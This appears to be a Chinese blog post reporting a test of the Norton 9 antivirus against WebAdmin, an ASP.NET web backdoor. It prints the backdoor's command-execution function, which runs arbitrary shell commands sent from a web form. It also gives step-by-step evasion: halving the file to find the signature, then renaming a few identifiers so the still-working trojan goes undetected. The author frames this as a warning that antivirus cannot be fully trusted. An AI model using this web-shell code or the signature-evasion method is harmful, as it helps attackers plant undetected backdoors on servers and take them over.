本来就已经知道一些木马经过加工是可以逃避杀毒软件的了,不过昨天的测试却让我发现杀毒软件真的非常脆弱。
测试对象:WebAdmin by lake2
介绍: WebAdmin是一个运行在ASP.NET环境下的Web后门
测试环境:WINXP, Norton 9 企业版,病毒定义包: 2006-05-24
步骤:直接把WebAdmin2X原件放在本地磁盘上,Norton发现并报告“Backdoor:haiyangweng”
把WebAdmin的代码对半拷贝分为两部份,分存为两个文件,结果第一个文件说是病毒,第二个没有报告,再接续把第一部分划分,如此反复,很容易得到被定义为病毒代码的(其实写一个小程序,把直接把它均分为N部分,那查找起来就更快捷了).如下:
Sub RunCMD(Src As Object, E As EventArgs)
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(cmdPath.Text)
myProcessStartInfo.UseShellExecute = False
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments="/c " & Cmd.text
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
mystring=replace(mystring,">","<")
mystring=replace(mystring,"<",">")
result.text=Cmd.text & vbcrlf & "<pre>" & mystring & "</pre>"
Cmd.text=""
End Sub
//就是上面这个过程函数被定义为病毒特征码了
做过最简单的办法,在原件中查找myProcess ,替换为Prcss,再查找myProcessStartInfo替换为PrcssStartInfo,把函数名RunCMD替换为RunC(同样是查找,替换),保存好已经替换后的文件,呵呵,Norton不再提示是病毒了,但是其实这个asp.net的木马功能一点都没有变化,照样是asp.net木马一个!但是回看下,我们修改的仅仅是几个字符而已,而这几个字符就成了Norton的病毒特征码,所以说,杀毒软件不可尽信,用来普通防护还可以,但是如果放心地以为高枕无忧了,那最终吃亏的是自己。
当然,从程序员的角度来说,判断这种asp木马真的是很头痛的事,因为asp代码中本身就有可能用到这些组件,这些组件用于网络管理那是正确渠道,但用于入侵了就是入侵工具,工具是死的可以判断,但是人的心思电脑就没有办法判断了。